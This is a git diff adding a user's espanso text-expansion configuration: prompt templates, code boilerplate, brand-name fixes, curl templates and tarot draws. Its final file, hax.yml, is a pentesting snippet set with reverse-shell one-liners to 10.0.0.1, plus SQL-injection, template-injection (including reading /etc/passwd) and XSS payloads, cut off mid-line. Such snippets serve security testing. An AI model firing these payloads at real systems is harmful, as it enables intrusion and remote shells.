diff --git a/espanso/.config/espanso/config/default.yml b/espanso/.config/espanso/config/default.yml new file mode 100644 index 0000000..32d5d07 --- /dev/null +++ b/espanso/.config/espanso/config/default.yml @@ -0,0 +1,42 @@ +# espanso configuration file + +# yaml-language-server: $schema=https://raw.githubusercontent.com/espanso/espanso/dev/schemas/config.schema.json + +# For a complete introduction, visit the official docs at: https://espanso.org/docs/ + +# You can use this file to define the global configuration options for espanso. +# These are the parameters that will be used by default on every application, +# but you can also override them on a per-application basis. + +# To make customization easier, this file contains some of the commonly used +# parameters. Feel free to uncomment and tune them to fit your needs! + +# --- Toggle key + +# Customize the key used to disable and enable espanso (when double tapped) +# Available options: CTRL, SHIFT, ALT, CMD, OFF +# You can also specify the key variant, such as LEFT_CTRL, RIGHT_SHIFT, etc... +# toggle_key: ALT +# You can also disable the toggle key completely with +toggle_key: OFF + +# --- Injection Backend + +# Espanso supports multiple ways of injecting text into applications. Each of +# them has its quirks, therefore you may want to change it if you are having problems. +# By default, espanso uses the "Auto" backend which should work well in most cases, +# but you may want to try the "Clipboard" or "Inject" backend in case of issues. +# backend: Clipboard + +# --- Auto-restart + +# Enable/disable the config auto-reload after a file change is detected. +auto_restart: true + +# --- Clipboard threshold + +# Because injecting long texts char-by-char is a slow operation, espanso automatically +# uses the clipboard if the text is longer than 'clipboard_threshold' characters. +# clipboard_threshold: 100 + +# For a list of all the available options, visit the official docs at: https://espanso.org/docs/ diff --git a/espanso/.config/espanso/match/ai-prompts.yml b/espanso/.config/espanso/match/ai-prompts.yml new file mode 100644 index 0000000..893e1d8 --- /dev/null +++ b/espanso/.config/espanso/match/ai-prompts.yml @@ -0,0 +1,101 @@ +matches: + - trigger: ":prompt-improve" + replace: | + You're an expert at prompt engineering. Please rewrite and improve this prompt to get the best results. + + ## PROMPT WRITING KNOWLEDGE + + Tactics: + + Include details in your query to get more relevant answers + Ask the model to adopt a persona + Use delimiters to clearly indicate distinct parts of the input + Specify the steps required to complete a task + Provide examples + Specify the desired length of the output + Provide reference text + Language models can confidently invent fake answers, especially when asked about esoteric topics or for citations and URLs. In the same way that a sheet of notes can help a student do better on a test, providing reference text to these models can help in answering with fewer fabrications. + + Tactics: + + Instruct the model to answer using a reference text + Instruct the model to answer with citations from a reference text + Split complex tasks into simpler subtasks + Just as it is good practice in software engineering to decompose a complex system into a set of modular components, the same is true of tasks submitted to a language model. Complex tasks tend to have higher error rates than simpler tasks. Furthermore, complex tasks can often be re-defined as a workflow of simpler tasks in which the outputs of earlier tasks are used to construct the inputs to later tasks. + + - Interpret what the input was trying to accomplish. + - Read and understand the PROMPT WRITING KNOWLEDGE above. + - Write and output a better version of the prompt using your knowledge of the techniques above. + + # OUTPUT INSTRUCTIONS: + + 1. Output the prompt in clean, human-readable Markdown format. + 2. Only output the prompt, and nothing else, since that prompt might be sent directly into an LLM. + + # INPUT + + The following is the prompt you will improve: + + - trigger: ":prompt-rewrite" + replace: | + You're an expert technical writer. Rewrite the following text to improve clarity and conciseness while keeping it accurate. + + **Guidelines:** + - Assume your audience has intermediate technical knowledge + - Replace jargon with plain language where possible + - Break up long sentences + - Add bullet points if it helps comprehension + + Provide **two variations**, and include a 1-sentence explanation of why each is better. + + **Input:** + [Insert your text here] + + - trigger: ":prompt-summarize" + replace: | + Summarize this technical content for a stakeholder who isn't an engineer. + + **Goals:** + - Keep it under 100 words + - Focus on the "why it matters" + - No acronyms unless explained + + **Example Summary:** + “We discovered a performance bottleneck in the database queries, which slowed down our app. We’re optimizing them now to improve user experience.” + + **Input:** + [Insert content here] + + - trigger: ":prompt-bugfix" + replace: | + Act as a senior Python developer. Help debug this code. + + **Instructions:** + 1. Identify any bugs or bad practices + 2. Suggest fixes with brief explanation + 3. Provide a corrected version + 4. Suggest improvements for readability + + **Input Code:** + [Paste your Python code here] + + - trigger: ":prompt-qa" + replace: | + Based on the following text, generate 5 thoughtful questions that challenge assumptions, test understanding, or uncover edge cases. + + **Context:** Preparing for code reviews and collaborative refinement. + + **Input:** + [Insert concept or document] + + - trigger: ":prompt-variations" + replace: | + You are a creative writer with a technical background. + + Generate **3 variations** of this copy, optimized for different tones: + - Formal + - Friendly + - Technical + + **Input:** + [Paste text here] diff --git a/espanso/.config/espanso/match/base.yml b/espanso/.config/espanso/match/base.yml new file mode 100644 index 0000000..3a563e3 --- /dev/null +++ b/espanso/.config/espanso/match/base.yml @@ -0,0 +1,142 @@ +# espanso match file + +# For a complete introduction, visit the official docs at: https://espanso.org/docs/ + +# You can use this file to define the base matches (aka snippets) +# that will be available in every application when using espanso. + +# Matches are substitution rules: when you type the "trigger" string +# it gets replaced by the "replace" string. + +# yaml-language-server: $schema=https://raw.githubusercontent.com/espanso/espanso/dev/schemas/match.schema.json + +matches: + # Simple text replacement + - trigger: ":espanso" + replace: "Hi there!" + + # NOTE: espanso uses YAML to define matches, so pay attention to the indentation! + + # But matches can also be dynamic: + + # Print the current date + - trigger: ":date" + replace: "{{mydate}}" + vars: + - name: mydate + type: date + params: + format: "%m/%d/%Y" + + - trigger: ":dt" + replace: "{{date}} {{time}}" + vars: + - name: date + type: date + params: + format: "%m/%d/%Y" + - name: time + type: time + params: + format: "%H:%M:%S" + + # Print the output of a shell command + - trigger: ":shell" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: "echo 'Hello from your shell'" + + - trigger: :trigger + replace: | + - trigger: test + replace: test + + - trigger: :test + replace: > + This is an example + of how to use a multi- + line example of :test + + - trigger: ":easy" + replace: "This is easy!" + + - trigger: :sno + replace: | + # Title + + + ## Installation + /code + + ## Usage + /code + + ## Resources + + - trigger: :meat + replace: 🥩 + search_terms: + - steak + - t-bone + + - regex: ";no.spons\\((?P.*)\\)" + replace: | + Hi there, + Thanks for reaching out! However, I don't believe {{product}} is a good fit for my audience at this point, and my ethics statement (https://nicolevanderhoeven.com/ethics/), as well as my limited time, prohibits me from accpting most opportunities. I hope you understand! + + I wish you the best of luck in finding someone who is a better fit. + + Thank you, + Nicole + + - trigger: ":uuid" + replace: "{{uuid}}" + vars: + - name: uuid + type: shell + params: + cmd: "uuidgen" + + - trigger: ":now" + replace: "{{now}}" + vars: + - name: now + type: date + params: + format: "%Y-%m-%d %H:%M" + + - trigger: ":clip-clean" + replace: "{{clip | replace('\n', ' ')}}" + vars: + - name: clip + type: shell + params: + cmd: "xclip -o -selection clipboard" + + - trigger: ":randnum" + replace: "{{rand}}" + vars: + - name: rand + type: shell + params: + cmd: "shuf -i 1000-9999 -n 1" + + - trigger: ":logentry" + replace: | + ## Log - :now + **What happened:** + - + **Next actions:** + - + + vars: + - name: now + type: date + params: + format: "%Y-%m-%d %H:%M" + + + # And much more! For more information, visit the docs: https://espanso.org/docs/ diff --git a/espanso/.config/espanso/match/code-snippets.yml b/espanso/.config/espanso/match/code-snippets.yml new file mode 100644 index 0000000..bab2e79 --- /dev/null +++ b/espanso/.config/espanso/match/code-snippets.yml @@ -0,0 +1,102 @@ +matches: + # Python imports block + - trigger: ":py-imports" + replace: | + import os + import sys + import argparse + import logging + + # Python entry point + - trigger: ":py-main" + replace: | + if __name__ == "__main__": + main() + + # Python logging setup + - trigger: ":py-logger" + replace: | + logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", + handlers=[logging.StreamHandler()] + ) + logger = logging.getLogger(__name__) + + # Bash color template + - trigger: ":bash-colors" + replace: | + RED='\033[0;31m' + GREEN='\033[0;32m' + YELLOW='\033[1;33m' + NC='\033[0m' # No Color + + # Bash shebang + options + - trigger: ":bash-head" + replace: | + #!/usr/bin/env bash + set -euo pipefail + IFS=$'\n\t' + + # Bash usage function + - trigger: ":bash-usage" + replace: | + usage() { + echo "Usage: $0 [options]" + echo " -h Show help" + exit 1 + } + + while getopts ":h" opt; do + case ${opt} in + h ) usage ;; + \? ) usage ;; + esac + done + + - trigger: ":py-args" + replace: | + import argparse + + parser = argparse.ArgumentParser(description="Script description here.") + parser.add_argument("input", help="Input file") + parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode") + args = parser.parse_args() + + - trigger: ":py-timer" + replace: | + import time + start = time.time() + + # your code here + + print(f"Elapsed time: {time.time() - start:.2f}s") + + - trigger: ":py-path" + replace: | + from pathlib import Path + + base_path = Path(__file__).resolve().parent + data_path = base_path / "data" / "file.csv" + + - trigger: ":bash-log" + replace: | + log() { + echo -e "\\033[1;34m[INFO]\\033[0m $1" + } + + - trigger: ":bash-check" + replace: | + if [ ! -f "$1" ]; then + echo "File not found: $1" + exit 1 + fi + + - trigger: ":bash-trap" + replace: | + cleanup() { + echo "Cleaning up..." + # Add cleanup commands here + } + + trap cleanup EXIT diff --git a/espanso/.config/espanso/match/packages/brand-names.yml b/espanso/.config/espanso/match/packages/brand-names.yml new file mode 100644 index 0000000..7e2210e --- /dev/null +++ b/espanso/.config/espanso/match/packages/brand-names.yml @@ -0,0 +1,298 @@ +# Brand Names + +matches: + - trigger: "1password" + replace: "1Password" + propagate_case: true + word: true + + - trigger: "autocad" + replace: "AutoCAD" + propagate_case: true + word: true + + - trigger: "autodesk" + replace: "Autodesk" + propagate_case: true + word: true + + - trigger: "backblaze" + replace: "Backblaze" + propagate_case: true + word: true + + - trigger: "betalist" + replace: "BetaList" + propagate_case: true + word: true + + - trigger: "bitcan" + replace: "BitCan" + propagate_case: true + word: true + + - trigger: "cafepress" + replace: "CafePress" + propagate_case: true + word: true + + - trigger: "chromebook" + replace: "Chromebook" + propagate_case: true + word: true + + - trigger: "citroen" + replace: "Citroën" + propagate_case: true + word: true + + - trigger: "clearbit" + replace: "Clearbit" + propagate_case: true + word: true + + - trigger: "codeship" + replace: "Codeship" + propagate_case: true + word: true + + - trigger: "crowdin" + replace: "Crowdin" + propagate_case: true + word: true + + - trigger: "devmate" + replace: "DevMate" + propagate_case: true + word: true + + - trigger: "dropbox" + replace: "Dropbox" + propagate_case: true + word: true + + - trigger: "ebay" + replace: "eBay" + propagate_case: true + word: true + + - trigger: "eventbrite" + replace: "Eventbrite" + propagate_case: true + word: true + + - trigger: "evernote" + replace: "Evernote" + propagate_case: true + word: true + + - trigger: "expandrive" + replace: "ExpanDrive" + propagate_case: true + word: true + + - trigger: "facebook" + replace: "Facebook" + propagate_case: true + word: true + + - trigger: "fastspring" + replace: "FastSpring" + propagate_case: true + word: true + + - trigger: "freshbooks" + replace: "FreshBooks" + propagate_case: true + word: true + + - trigger: "freshdesk" + replace: "Freshdesk" + propagate_case: true + word: true + + - trigger: "github" + replace: "GitHub" + propagate_case: true + word: true + + - trigger: "goodreads" + replace: "Goodreads" + propagate_case: true + word: true + + - trigger: "greenfax" + replace: "GreenFax" + propagate_case: true + word: true + + - trigger: "hootsuite" + replace: "Hootsuite" + propagate_case: true + word: true + + - trigger: "hubspot" + replace: "HubSpot" + propagate_case: true + word: true + + - trigger: "indiegogo" + replace: "Indiegogo" + propagate_case: true + word: true + + - trigger: "iret" + replace: "IRET" + propagate_case: true + word: true + + - trigger: "kickstarter" + replace: "Kickstarter" + propagate_case: true + word: true + + - trigger: "kno" + replace: "Kno" + propagate_case: true + word: true + + - trigger: "lastpass" + replace: "LastPass" + propagate_case: true + word: true + + - trigger: "linkedin" + replace: "LinkedIn" + propagate_case: true + word: true + + - trigger: "macphun" + replace: "Macphun" + propagate_case: true + word: true + + - trigger: "macupdate" + replace: "MacUpdate" + propagate_case: true + word: true + + - triggers: + - "macos" + - "osx" + replace: "macOS" + propagate_case: true + word: true + + - trigger: "mailchimp" + replace: "MailChimp" + propagate_case: true + word: true + + - trigger: "maximus" + replace: "Maximus" + propagate_case: true + word: true + + - trigger: "microsoft" + replace: "Microsoft" + propagate_case: true + word: true + - trigger: "monoprice" + replace: "Monoprice" + propagate_case: true + word: true + + - trigger: "newsblur" + replace: "NewsBlur" + propagate_case: true + word: true + + - trigger: "papertrail" + replace: "Papertrail" + propagate_case: true + word: true + + - trigger: "parkmerced" + replace: "Parkmerced" + propagate_case: true + word: true + + - trigger: "rackspace" + replace: "Rackspace" + propagate_case: true + word: true + + - trigger: "rapidweaver" + replace: "RapidWeaver" + propagate_case: true + word: true + + - trigger: "reva" + replace: "Reva" + propagate_case: true + word: true + + - trigger: "salesforce" + replace: "Salesforce" + propagate_case: true + word: true + + - trigger: "sanebox" + replace: "SaneBox" + propagate_case: true + word: true + + - trigger: "smartlink" + replace: "SmartLink" + propagate_case: true + word: true + + - trigger: "smartsearch" + replace: "SmartSearch" + propagate_case: true + word: true + + - trigger: "snapchat" + replace: "Snapchat" + propagate_case: true + word: true + + - trigger: "ssnif" + replace: "SSNiF" + propagate_case: true + word: true + + - trigger: "testrail" + replace: "TestRail" + propagate_case: true + word: true + + - trigger: "touchbar" + replace: "Touch Bar" + propagate_case: true + word: true + + - trigger: "transferwise" + replace: "TransferWise" + propagate_case: true + word: true + + - trigger: "wikipedia" + replace: "Wikipedia" + propagate_case: true + word: true + + - trigger: "wordpress" + replace: "WordPress" + propagate_case: true + word: true + + - trigger: "wufoo" + replace: "Wufoo" + propagate_case: true + word: true + + - trigger: "xing" + replace: "XING" + propagate_case: true + word: true diff --git a/espanso/.config/espanso/match/packages/cht.yml b/espanso/.config/espanso/match/packages/cht.yml new file mode 100644 index 0000000..a296383 --- /dev/null +++ b/espanso/.config/espanso/match/packages/cht.yml @@ -0,0 +1,18 @@ +# cht package + +matches: + - regex: ":cht/(?P.*)/" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: 'curl "https://cht.sh/{{command}}?QT&style=bw"' + + - regex: ":vcht/(?P.*)/" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: 'curl "https://cht.sh/{{command}}?qT&style=bw"' diff --git a/espanso/.config/espanso/match/packages/combining-characters.yml b/espanso/.config/espanso/match/packages/combining-characters.yml new file mode 100644 index 0000000..dce57db --- /dev/null +++ b/espanso/.config/espanso/match/packages/combining-characters.yml @@ -0,0 +1,63 @@ +matches: + - trigger: ":vec:" # e.g.: x⃗ + replace: "\u20d7" + + - triggers: [":underrightarrow:", ":ura:"] # e.g.: x⃯ + replace: "\u20ef" + + - triggers: [":underleftarrow:", ":ula:"] # e.g.: x⃮ + replace: "\u20ee" + + - triggers: [":overleftarrow:", ":ola:"] # e.g.: x⃡ + replace: "\u20e1" + + - triggers: [":underline:", ":ul:"] # e.g.: x̲ + replace: "\u0332" + + - trigger: ":bar:" # e.g.: x̅ + replace: "\u0305" + + - trigger: ":acute:" # e.g.: x́ + replace: "\u0301" + + - trigger: ":macron:" # e.g.: x̄ + replace: "\u0304" + + - trigger: ":breve:" # e.g.: x̆ + replace: "\u0306" + + - trigger: ":caron:" # e.g.: x̌ + replace: "\u030c" + + - trigger: ":ddddot:" # e.g.: x⃛ + replace: "\u20dc" + + - trigger: ":dddot:" # e.g.: x⃛ + replace: "\u20db" + + - trigger: ":ddot:" # e.g.: ẍ + replace: "\u0308" + + - trigger: ":dot:" # e.g.: ẋ + replace: "\u0307" + + - trigger: ":grave:" # e.g.: x̀ + replace: "\u0300" + + - trigger: ":hat:" # e.g.: x̂ + replace: "\u0302" + + - trigger: ":widehat:" # e.g.: x̂ + replace: "\u0302" + + - trigger: ":tilde:" # e.g.: x̃ + replace: "\u0303" + + - trigger: ":widetilde:" # e.g.: x̃ + replace: "\u0303" + + - trigger: ":ring:" # e.g.: x̊ + replace: "\u030a" + + - triggers: [":not:", ":slash:"] # e.g.: x̸ + replace: "\u0338" diff --git a/espanso/.config/espanso/match/packages/curl.yml b/espanso/.config/espanso/match/packages/curl.yml new file mode 100644 index 0000000..4e4a625 --- /dev/null +++ b/espanso/.config/espanso/match/packages/curl.yml @@ -0,0 +1,64 @@ +# curl package + +name: curl +parent: default + +global_vars: + - name: curlform + type: form + params: + layout: Target [[protocol]]://[[URL]] + fields: + protocol: + type: choice + values: [https, http] + default: https + +matches: + - trigger: ":curl:" + replace: "curl --request GET {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlget:" + replace: "curl --request GET {{curlform.protocol}}://{{curlform.URL}}?key=value" + + - trigger: ":curlpost:" + replace: "curl --request POST {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlput:" + replace: "curl --request PUT {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curldelete:" + replace: "curl --request DELETE {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlpatch:" + replace: "curl --request PATCH {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curldata:" + replace: "curl --request POST --header 'Content-Type: multipart/form-data' --form 'key=value' {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlxml:" + replace: "curl --request POST --header 'Content-Type: application/xml' --data 'value' {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curljson:" + replace: 'curl --request POST --header ''Content-Type: application/json'' --data ''{"key":"value"}'' {{curlform.protocol}}://{{curlform.URL}}' + + - trigger: ":curlheader:" + replace: "curl --request GET --header 'X-My-Header: 123' {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlcookie:" + replace: "curl --request GET --cookie 'key=value' {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlbasic:" + replace: "curl --request GET --user 'username:password' {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlbearer:" + replace: "curl --request GET --header 'Authorization: Bearer token' {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlproxy:" + replace: "curl --request GET --proxy http://proxy.example.com:8080 {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curldownload:" + replace: "curl --request GET --output file.txt {{curlform.protocol}}://{{curlform.URL}}" + + - trigger: ":curlupload:" + replace: "curl --request POST --form 'file=@/path/to/file' {{curlform.protocol}}://{{curlform.URL}}" diff --git a/espanso/.config/espanso/match/packages/divination-oracles.yml b/espanso/.config/espanso/match/packages/divination-oracles.yml new file mode 100644 index 0000000..926a180 --- /dev/null +++ b/espanso/.config/espanso/match/packages/divination-oracles.yml @@ -0,0 +1,300 @@ +# Returns a random playing card from a standard 52 card deck, with no jokers +matches: + - trigger: ":card:" + replace: "{{number}} of {{suit}}" + vars: + - name: number + type: random + params: + choices: + - "Ace" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - "Jack" + - "Queen" + - "King" + - name: suit + type: random + params: + choices: + - "Hearts" + - "Clubs" + - "Diamonds" + - "Spades" + + # Returns a random playing card from a 54 card deck, including 2 jokers + - trigger: ":cardj:" + replace: "{{output}}" + vars: + - name: output + type: random + params: + choices: + - "Ace of Hearts" + - "2 of Hearts" + - "3 of Hearts" + - "4 of Hearts" + - "5 of Hearts" + - "6 of Hearts" + - "7 of Hearts" + - "8 of Hearts" + - "9 of Hearts" + - "10 of Hearts" + - "Jack of Hearts" + - "Queen of Hearts" + - "King of Hearts" + - "Ace of Clubs" + - "2 of Clubs" + - "3 of Clubs" + - "4 of Clubs" + - "5 of Clubs" + - "6 of Clubs" + - "7 of Clubs" + - "8 of Clubs" + - "9 of Clubs" + - "10 of Clubs" + - "Jack of Clubs" + - "Queen of Clubs" + - "King of Clubs" + - "Ace of Diamonds" + - "2 of Diamonds" + - "3 of Diamonds" + - "4 of Diamonds" + - "5 of Diamonds" + - "6 of Diamonds" + - "7 of Diamonds" + - "8 of Diamonds" + - "9 of Diamonds" + - "10 of Diamonds" + - "Jack of Diamonds" + - "Queen of Diamonds" + - "King of Diamonds" + - "Ace of Spades" + - "2 of Spades" + - "3 of Spades" + - "4 of Spades" + - "5 of Spades" + - "6 of Spades" + - "7 of Spades" + - "8 of Spades" + - "9 of Spades" + - "10 of Spades" + - "Jack of Spades" + - "Queen of Spades" + - "King of Spades" + - "Joker" + - "Joker" + + # Returns a random card from a standard 78-card tarot deck + - trigger: ":tarot:" + replace: "{{output}}" + vars: + - name: output + type: random + params: + choices: + - "The Fool (0)" + - "The Magician (1)" + - "The High Priestess (2)" + - "The Empress (3)" + - "The Emperor (4)" + - "The Hierophant (5)" + - "The Lovers (6)" + - "The Chariot (7)" + - "Strength (8)" + - "The Hermit (9)" + - "Wheel of Fortune (10)" + - "Justice (11)" + - "The Hanged Man (12)" + - "Death (13)" + - "Temperance (14)" + - "The Devil (15)" + - "The Tower (16)" + - "The Star (17)" + - "The Moon (18)" + - "The Sun (19)" + - "Judgment (20)" + - "The World (21)" + - "Ace of Wands" + - "2 of Wands" + - "3 of Wands" + - "4 of Wands" + - "5 of Wands" + - "6 of Wands" + - "7 of Wands" + - "8 of Wands" + - "9 of Wands" + - "10 of Wands" + - "Page of Wands" + - "Knight of Wands" + - "Queen of Wands" + - "King of Wands" + - "Ace of Cups" + - "2 of Cups" + - "3 of Cups" + - "4 of Cups" + - "5 of Cups" + - "6 of Cups" + - "7 of Cups" + - "8 of Cups" + - "9 of Cups" + - "10 of Cups" + - "Page of Cups" + - "Knight of Cups" + - "Queen of Cups" + - "King of Cups" + - "Ace of Swords" + - "2 of Swords" + - "3 of Swords" + - "4 of Swords" + - "5 of Swords" + - "6 of Swords" + - "7 of Swords" + - "8 of Swords" + - "9 of Swords" + - "10 of Swords" + - "Page of Swords" + - "Knight of Swords" + - "Queen of Swords" + - "King of Swords" + - "Ace of Pentacles" + - "2 of Pentacles" + - "3 of Pentacles" + - "4 of Pentacles" + - "5 of Pentacles" + - "6 of Pentacles" + - "7 of Pentacles" + - "8 of Pentacles" + - "9 of Pentacles" + - "10 of Pentacles" + - "Page of Pentacles" + - "Knight of Pentacles" + - "Queen of Pentacles" + - "King of Pentacles" + + # Returns a random card from a standard 78-card tarot deck, with a 25% chance of it being reversed + - trigger: ":tarot25:" + replace: "{{nested}}{{output}}" + vars: + - name: nested + type: match + params: + trigger: ":tarot:" + - name: output + type: random + params: + choices: + - " reversed" + - "" + - "" + - "" + + # Returns a random card from a standard 78-card tarot deck, with a 20% chance of it being reversed + - trigger: ":tarot20:" + replace: "{{nested}}{{output}}" + vars: + - name: nested + type: match + params: + trigger: ":tarot:" + - name: output + type: random + params: + choices: + - " reversed" + - "" + - "" + - "" + - "" + + # Returns a random card from a standard 78-card tarot deck, with a 10% chance of it being reversed + - trigger: ":tarot10:" + replace: "{{nested}}{{output}}" + vars: + - name: nested + type: match + params: + trigger: ":tarot:" + - name: output + type: random + params: + choices: + - " reversed" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + + # Returns a random card from a standard 78-card tarot deck, with a 5% chance of it being reversed + - trigger: ":tarot5:" + replace: "{{nested}}{{output}}" + vars: + - name: nested + type: match + params: + trigger: ":tarot:" + - name: output + type: random + params: + choices: + - " reversed" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + - "" + + # Returns a random card from a 36-card Lenormand deck + - trigger: ":lenormand:" + replace: "{{output}}" + vars: + - name: output + type: random + params: + choices: + - "Rider (1)" + - "Clover (2)" + - "Ship (3)" + - "House (4)" + - "Tree (5)" + - "Clouds (6)" + - "Snake (7)" + - "Coffin (8)" + - "Bouquet (9)" + - "Scythe (10)" + - "Whip (11)" + - "Birds (12)" + - "Child (13)" + - "Fox (14)" + - "Bear (15)" + - "Stars (16)" + - "Stork (17)" + - "Dog (18)" + - "Tower (19)" + - "Garden (20)" diff --git a/espanso/.config/espanso/match/packages/hax.yml b/espanso/.config/espanso/match/packages/hax.yml new file mode 100644 index 0000000..9c06c41 --- /dev/null +++ b/espanso/.config/espanso/match/packages/hax.yml @@ -0,0 +1,58 @@ +atches: + # Reverse Shells + - trigger: ":rev-perl" + replace: "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + - trigger: ":rev-python" + replace: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" + - trigger: ":rev-php" + replace: "php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" + - trigger: ":rev-ruby" + replace: "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + - trigger: ":rev-nc" + replace: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f" + + # SQL Injection Payloads + - trigger: ":sqli-poly" + replace: "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/" + + # Server-side Template Injection Payloads + - trigger: ":ssti-asp" + replace: "@(1+2)" + - trigger: ":ssti-el" + replace: "${1+1}" + - trigger: ":ssti-el-alt" + replace: "#{1+1}" + - trigger: ":ssti-groovy" + replace: "${\"http://www.google.com\".toURL().text}" + - trigger: ":ssti-groovy-alt" + replace: "${new URL(\"http://www.google.com\").getText()}" + - trigger: ":ssti-jinja" + replace: "{{4*4}}[[5*5]]" + - trigger: ":ssti-ruby-file" + replace: "<%= File.open('/etc/passwd').read %>" + - trigger: ":ssti-ruby-dir" + replace: "<%= Dir.entries('/') %>" + - trigger: ":ssti-smarty" + replace: "{$smarty.version}" + - trigger: ":ssti-twig" + replace: "{{dump(app)}}" + - trigger: ":ssti-velocity" + replace: "#set($str=$class.inspect(\"java.lang.String\").type)" + + # Cross-site Scripting Payloads + - trigger: ":xss-basic" + replace: "" + - trigger: ":xss-img" + replace: "" + - trigger: ":xss-dom" + replace: "#\">" + - trigger: ":xss-markdown" + replace: "[a](javascript:prompt(1))" + - trigger: ":xss-poly" + replace: "\" onclick=alert(1)//